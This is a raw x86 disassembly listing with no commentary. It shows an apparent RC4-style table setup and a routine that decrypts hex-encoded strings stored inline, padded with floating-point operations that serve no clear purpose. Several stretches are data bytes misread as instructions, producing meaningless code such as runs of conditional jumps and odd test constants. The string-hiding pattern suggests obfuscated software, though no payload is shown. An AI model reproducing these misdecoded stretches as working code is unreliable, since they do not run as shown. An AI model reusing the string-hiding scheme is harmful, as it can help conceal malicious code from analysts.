mov dl, byte [edx + esi*2]
sub dl, 6
sub bl, 0x5a
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0xc]
mov dl, byte [ebp + edx - 0x160]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 8]
mov dl, byte [edx]
add ecx, edx
mov dl, byte [edi]
mov edi, dword [ebp - 0xc]
add ecx, edx
and ecx, 0xff
xor edx, edx
add eax, edi
mov dl, byte [ebp + ecx - 0x160]
and eax, 0xff
mov cl, byte [ebp + edx - 0x160]
xor bl, cl
mov cl, byte [ebp + eax - 0x160]
xor bl, cl
mov byte [ebp + esi - 0x61], bl
mov byte [ebp - 0x40], 0
lea edi, [ebp - 0x60]
jmp 0x82c281
cmp eax, 0x237
jne 0x82c2a4
fld qword [0x882578]
fld qword [0x882578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b18c0]
fsub st(1)
fxch st(1)
fmul qword [0x890b80]
fadd qword [0x8b1918]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b18b8]
fnstsw ax
test ah, 0x41
jne 0x82b7dd
fld st(0)
fmul qword [0x8b18b0]
fsubp st(2)
fadd qword [0x8895f8]
fcom qword [0x8b18a8]
fnstsw ax
test ah, 1
jne 0x82b7a4
fxch st(1)
fst qword [ebp - 0x3c]
fxch st(1)
fstp st(0)
fcomp qword [0x882578]
fnstsw ax
test ah, 1
je 0x82b85d
mov ah, 0x5c
test eax, 0xad59ab5c
pop esp
test eax, 0xb757ad5b
pop esp
scasd eax, dword es:[edi]
lodsw ax, word [esi]
popal
lodsd eax, dword [esi]
pushal
mov cl, 0x5e
test eax, 0xb366b059
pop ebp
stosd dword es:[edi], eax
popal
mov ch, 0x60
mov ah, 0x63
mov bl, 0x58
mov bl, 0x5c
mov ch, 0x66
mov bh, 0x63
mov bh, 0x61
test eax, 0xb65fb05b
pop ebp
mov cl, 0x62
mov dh, 0x5b
mov dl, 0x59
lodsb al, byte [esi]
pop ebp
mov bl, 0x5d
mov dl, 0x5e
mov dh, 0x66
mov dl, 0x5a
push esi
pop ecx
xor al, 0x20
jl 0x82b88f
pop edx
jp 0x82b886
sub eax, 0x4a752b21
sub ecx, ebp
and dword [edx], ecx
add byte [eax], al
mov dword [ebp - 0x2c], 0x82b806
mov dword [ebp - 0x34], 0x82b848
xor eax, eax
mov byte [ebp + eax - 0x160], al
inc eax
cmp eax, 0x100
jb 0x82b86d
fld qword [ebp - 0x3c]
mov byte [ebp + 8], 0
xor edi, edi
mov esi, dword [ebp + 8]
jne 0x82b890
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ebx, 1
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [ebx], bh
ret
cmp eax, ebx
mov dword [ebp - 0xc], 0
jbe 0x82b8a6
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82b89e
cmp edi, 3
ja case.default.0x82b8ab
jmp dword [edi*4 + 0x82cdac]
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
jmp 0x82b927
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 8
jmp 0x82b927
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x10
jmp 0x82b927
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x18
jmp 0x82b927
mov ecx, dword [ebp - 0x34]
and esi, 0xff
mov cl, byte [ecx + edi - 4]
mov al, byte [ebp + esi - 0x160]
add cl, al
inc edi
cmp edi, 0x14
mov byte [ebp + 8], cl
jb 0x82b93a
xor edi, edi
add cl, 0x14
mov byte [ebp + 8], cl
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0xc], eax
jbe 0x82b95a
mov eax, edx
xor edx, edx
div dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, edx
jb 0x82b8a6
je 0x82b992
mov bl, byte [ebp + eax - 0x160]
lea edx, [ebp + edx - 0x160]
lea ecx, [ebp + eax - 0x160]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
jne 0x82b88b
mov edi, dword [ebp - 0x2c]
mov dl, byte [ebp - 0x159]
and esi, 0xff
mov byte [ebp - 0x1c], dl
mov dl, byte [edi + 1]
mov bl, byte [ebp - 0x15d]
mov al, byte [ebp + esi - 0x160]
sub dl, 0x57
mov byte [ebp - 0x14], al
mov al, byte [edi]
add al, 7
mov cl, byte [ebp - 0x15b]
shl al, 4
or al, dl
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x14]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x160]
lea esi, [ebp + eax - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x15f]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x160]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x18]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x160]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp - 0x24]
mov byte [ebp - 0x14], dl
xor bl, dl
mov dl, byte [edi + 3]
mov byte [ebp - 0x1c], bl
sub dl, 0x57
mov bl, byte [edi + 2]
add edi, 4
add bl, 7
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
lea esi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [esi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [esi]
mov esi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov esi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + esi - 0x160]
and ebx, 0xff
mov esi, 2
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x14], bl
xor dl, bl
mov bl, byte [edi]
mov byte [ebp - 0x1c], dl
mov byte [ebp - 0x60], dl
mov dl, byte [edi + 1]
add bl, 7
sub dl, 0x57
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [edi]
mov dword [ebp - 0x30], 0xd
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x14], bl
xor dl, bl
mov byte [ebp - 0x1c], dl
mov byte [ebp - 0x5f], dl
mov edx, dword [ebp - 0x2c]
lea edi, [edx + 4]
jmp 0x82bcf0
mov edi, dword [ebp - 0x34]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 7
sub dl, 0x57
mov dword [ebp - 0x34], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x14], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x82be01
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x30]
dec edx
mov dword [ebp - 0x30], edx
jne 0x82bced
mov edx, dword [ebp - 0x2c]
inc esi
mov bl, byte [edx + esi*2]
lea edi, [edx + esi*2]
add bl, 7
mov dl, byte [edi + 1]
sub dl, 0x57
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x14], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x82bf2a
mov byte [ebp + esi - 0x61], dl
lea ebx, [esi + 1]
cmp ebx, 0x20
jge 0x82c069
mov edx, dword [ebp - 0x2c]
lea edi, [edx + esi*2]
mov edx, 0x20
sub edx, ebx
mov dword [ebp - 0x30], edx
jmp 0x82bf4b
mov edi, dword [ebp - 0x34]
mov bl, byte [edi + 2]
mov dl, byte [edi + 3]
add edi, 2
add bl, 7
sub dl, 0x57
mov dword [ebp - 0x34], edi
shl bl, 4
or dl, bl
inc esi
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x14], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x82c05c
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x30]
dec edx
mov dword [ebp - 0x30], edx
jne 0x82bf48
mov edi, dword [ebp - 0x2c]
inc esi
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 7
sub dl, 0x57
shl bl, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0xc], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x1c]
and ebx, 0xff
mov dword [ebp - 0x28], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x10], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 8]
mov byte [ebp - 0x20], cl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x28]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x18]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
xor dl, bl
test esi, esi
mov byte [ebp - 0x1c], dl
jbe 0x82c180
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x24]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x10]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp + 8]
mov byte [ebp - 0xc], al
inc bl
mov eax, dword [ebp - 0xc]
mov byte [ebp + 8], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x160]
lea eax, [ebp + eax - 0x160]
mov byte [edi], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [eax], bl
mov ebx, dword [ebp + 8]
and ebx, 0xff
mov dword [ebp - 8], edx
test esi, esi
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x10]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
jbe 0x82c27a
mov edx, dword [ebp - 4]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0x2c]
mov bl, byte [edx + esi*2 + 1]
mov dl, byte [edx + esi*2]
add dl, 7
sub bl, 0x57
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x18]
mov dl, byte [ebp + edx - 0x160]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x160]
mov dl, byte [edi]
add ecx, edx
mov edx, dword [ebp - 8]
mov edi, dword [ebp - 0x18]
mov dl, byte [edx]
add eax, edi
add ecx, edx
xor edx, edx
and ecx, 0xff
and eax, 0xff
mov dl, byte [ebp + ecx - 0x160]
mov cl, byte [ebp + edx - 0x160]
xor bl, cl
mov cl, byte [ebp + eax - 0x160]
xor bl, cl
mov byte [ebp + esi - 0x61], bl
mov byte [ebp - 0x40], 0
lea edi, [ebp - 0x60]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x464]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
fld qword [0x882578]
fld qword [0x882578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b18a0]
fsub st(1)
fxch st(1)
fmul qword [0x8905b8]
fadd qword [0x8b1898]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b1890]
fnstsw ax
test ah, 0x41
jne 0x82c2e9
fld st(0)
fmul qword [0x8b1888]
fsubp st(2)
fadd qword [0x882548]
add eax, 0x882548
add ah, bl
adc eax, 0x8b1880
fcom qword [0x8b1880]
sbb byte [eax], 0x8b
sbb byte [ebx - 0x91f2100], cl
mov eax, dword [eax]
add bh, bl
loopne 0x82c2ee
fnstsw ax
test ah, 1
les eax, [ecx]
jne 0x82c2b0
fxch st(1)
leave
fst qword [ebp - 0x3c]
fxch st(1)
leave
fstp st(0)
fcomp qword [0x882578]
fcomp st(4)
sbb eax, 0x882578
js 0x82c32e
and eax, 0xe0df0088
mov byte [eax], al
fnstsw ax
test ah, 1
les eax, [ecx]
je 0x82c361
dec edi
jno 0x82c2f2
jb 0x82c2ea
jno 0x82c2f5
ja 0x82c2f1
xlatb
je 0x82c2f4
jno 0x82c2f3
aad 0x7f
sal byte [edx - 0x2d], cl
jg 0x82c2f2
jb 0x82c2f5
jae 0x82c302
jno 0x82c306
jno 0x82c2fd
aad 0x73
fidivr dword [edi - 0x2a]
jae 0x82c304
jg 0x82c302
je 0x82c30d
jns 0x82c308
jno 0x82c307
je 0x82c30e
je 0x82c311
jbe 0x82c318
ja 0x82c319
jnp 0x82c30e
jno 0x82c31d
jnp 0x82c316
jns 0x82c319
jle 0x82c316
jl 0x82c327
jae 0x82c326
push edi
jp 0x82c39a
dec ecx
pop ecx
dec esp
jbe 0x82c38a
inc ebx
jb 0x82c377
dec edi
arpl word [esi], bp
outsb dx, byte [si]
pop esi
jnp 0x82c37d
jmp 0x82cc8a
mov dword [ebp - 0x28], 0x82c312
mov dword [ebp - 0x34], 0x82c348
xor eax, eax
mov byte [ebp + eax - 0x160], al
inc eax
cmp eax, 0x100
inc dword [eax + 0x3d]
add byte [ecx], al
add byte [eax], al
add byte [edx - 0xf], dh
jb 0x82c371
fld qword [ebp - 0x3c]
mov byte [ebp + 8], 0
xor edi, edi
mov esi, dword [ebp + 8]
jne 0x82c394
mov dword [ebp - 0x2c], 0xff
mov eax, dword [ebp - 0x2c]
mov ebx, 1
inc ebp
aam 0xbb
add dword [eax], eax
add byte [eax], al
add byte [ebx], bh
ret
cmp eax, ebx
mov dword [ebp - 0x30], 0
jbe 0x82c3ae
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82c3a6
cmp edi, 3
ja case.default.0x82c3b3
jmp dword [edi*4 + 0x82cdbc]
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
jmp 0x82c42f
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 8
jmp 0x82c42f
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x10
jmp 0x82c42f
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x18
jmp 0x82c42f
mov edx, dword [ebp - 0x34]
and esi, 0xff
mov cl, byte [ebp + esi - 0x160]
mov al, byte [edx + edi - 4]
add cl, al
inc edi
cmp edi, 0x18
mov byte [ebp + 8], cl
jb 0x82c442
xor edi, edi
add cl, 0x18
mov byte [ebp + 8], cl
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0x30]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x30], eax
jbe 0x82c462
mov eax, edx
xor edx, edx
div dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, edx
jb 0x82c3ae
je 0x82c49a
mov bl, byte [ebp + eax - 0x160]
lea edx, [ebp + edx - 0x160]
lea ecx, [ebp + eax - 0x160]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
jne 0x82c393
mov dl, byte [ebp - 0x159]
mov edi, dword [ebp - 0x28]
and esi, 0xff
mov byte [ebp - 0x18], dl
mov dl, byte [edi]
mov bl, byte [ebp - 0x15d]
mov al, byte [ebp + esi - 0x160]
mov cl, byte [ebp - 0x15b]
mov byte [ebp - 0x20], al
mov al, byte [edi + 1]
add al, 0x2e
shl dl, 4
or al, dl
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x20]
and eax, 0xff
fstp st(0)
mov dl, byte [ebp + eax - 0x160]
lea esi, [ebp + eax - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x15f]
mov eax, edx
and eax, 0xff
mov al, byte [ebp + eax - 0x160]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [esi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 8]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0xc]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x14]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x160]
add edx, esi
and edx, 0xff
xor bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp - 0x30]
mov byte [ebp - 0x20], dl
xor bl, dl
mov dl, byte [edi + 3]
mov byte [ebp - 0x18], bl
mov bl, byte [edi + 2]
add dl, 0x2e
shl bl, 4
or dl, bl
mov byte [ebp - 0x30], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
lea esi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [esi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x14], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 0x10]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 8], edx
mov dl, byte [edx]
